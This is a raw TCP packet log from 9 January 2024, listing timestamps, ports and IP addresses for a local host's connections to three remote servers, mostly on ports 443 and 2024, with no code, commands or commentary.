Jan 9, 2024 15:46:25.545936108 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.564934969 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.564948082 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:25.764847994 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:25.765002012 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.781821012 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.781835079 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:25.782248974 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:25.784781933 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.785799026 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.829899073 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:26.271074057 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:26.271146059 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:26.271208048 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:26.272139072 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:26.272157907 CET	443	49717	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:42.022958040 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.023003101 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.023082018 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.039499044 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.039526939 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.407404900 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.407478094 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.524589062 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.524617910 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.525422096 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.525494099 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.527339935 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.569904089 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.783902884 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.783932924 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.783968925 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.783999920 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.785619020 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.789088011 CET	49718	443	192.168.2.10	149.154.167.99
Jan 9, 2024 15:46:42.789108038 CET	443	49718	149.154.167.99	192.168.2.10
Jan 9, 2024 15:46:42.839457989 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:43.028306961 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:43.028418064 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:43.038532019 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:43.227070093 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:43.244340897 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:43.244364977 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:43.244447947 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:43.998825073 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:44.188235998 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:44.188309908 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:44.188957930 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:44.418319941 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:44.617856026 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:44.617924929 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:44.622725964 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:44.811338902 CET	2024	49721	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:44.812094927 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:44.812685013 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.001287937 CET	2024	49721	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.001735926 CET	2024	49721	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.001908064 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.002654076 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.005393982 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.193907976 CET	2024	49721	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.507625103 CET	2024	49721	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.507782936 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.509399891 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.510293961 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.698317051 CET	2024	49719	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.698386908 CET	49719	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.698688984 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.698790073 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.699898958 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.888499975 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.890055895 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:45.893877029 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.901726961 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:45.904087067 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.092573881 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.405384064 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.405406952 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.405656099 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.508187056 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.508812904 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.697088957 CET	2024	49721	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.697762966 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.697777987 CET	49721	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.697837114 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.716633081 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.906086922 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.906797886 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:46.906994104 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.912240982 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:46.915451050 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:47.104042053 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:47.430006981 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:47.430032969 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:47.430138111 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:47.430164099 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:47.430274963 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:47.430274963 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.516972065 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.517776012 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.706181049 CET	2024	49722	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:48.706296921 CET	49722	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.706321001 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:48.706407070 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.706923008 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.896972895 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:48.897269964 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:48.897356033 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.897779942 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.900135040 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:48.900207043 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:49.088742971 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:49.089188099 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:49.089843988 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:49.510715008 CET	2024	49724	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:49.510785103 CET	49724	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:49.830775023 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:49.831859112 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.019603014 CET	2024	49723	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.020219088 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.020338058 CET	49723	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.020426035 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.021280050 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.209618092 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.210134983 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.210665941 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.211049080 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.213777065 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.402380943 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.402980089 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403100014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403132915 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403161049 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403219938 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403219938 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403253078 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403317928 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403369904 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403388023 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403448105 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403472900 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403525114 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403569937 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403579950 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.403589010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403636932 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.403640032 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.404239893 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592118025 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592148066 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592168093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592186928 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592205048 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592223883 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592248917 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592329979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592329979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592536926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592628002 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592668056 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592680931 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592680931 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592724085 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592755079 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592797995 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592808008 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592830896 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592879057 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592905045 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.592963934 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.592968941 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593003035 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593024969 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.593056917 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.593065977 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593116999 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.593128920 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593190908 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593198061 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.593259096 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593262911 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.593416929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.593425989 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.593576908 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.780793905 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.780921936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.780935049 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.780936956 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.780953884 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.780965090 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.780966997 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.780982971 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.780994892 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781002998 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781013012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781027079 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781030893 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781044960 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781085014 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781122923 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781155109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781193972 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781214952 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781215906 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781233072 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781244993 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781270027 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781296015 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781341076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781405926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781420946 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781440973 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781488895 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781505108 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781508923 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781508923 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781517982 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781543016 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781543970 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781574011 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781591892 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781605959 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781618118 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781622887 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781632900 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781644106 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781656027 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781660080 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781692982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781713963 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781724930 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781729937 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781743050 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781754971 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781766891 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781780958 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781805038 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781822920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781829119 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781851053 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781851053 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781872034 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781898975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781908989 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.781970024 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.781985044 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.782004118 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.782042980 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.782058954 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.782064915 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.782064915 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.782080889 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.782102108 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.782208920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.972610950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.972635031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.972670078 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.972706079 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.972750902 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.972839117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.972853899 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.972887993 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.972960949 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973021984 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973036051 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973067045 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973107100 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973200083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973216057 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973265886 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973397970 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973411083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973577023 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973582983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973589897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973603010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973623037 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973671913 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973753929 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973768950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.973906040 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.973979950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974100113 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974169970 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974184036 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974229097 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974248886 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974291086 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974304914 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974324942 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974349022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974637032 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974651098 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974807978 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974812031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.974982977 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.974987984 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975162983 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975176096 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975191116 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975347996 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975362062 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975378990 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975438118 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975533962 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975547075 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975588083 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975630045 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975791931 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975805044 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.975847960 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975903034 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.975955963 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976111889 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976139069 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976152897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976191998 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976234913 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976294041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976308107 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976356983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976356983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976484060 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976496935 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976531982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976596117 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976680994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976695061 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976706028 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976718903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976747036 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976799011 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.976856947 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.976901054 CET	49725	2024	192.168.2.10	168.119.106.20
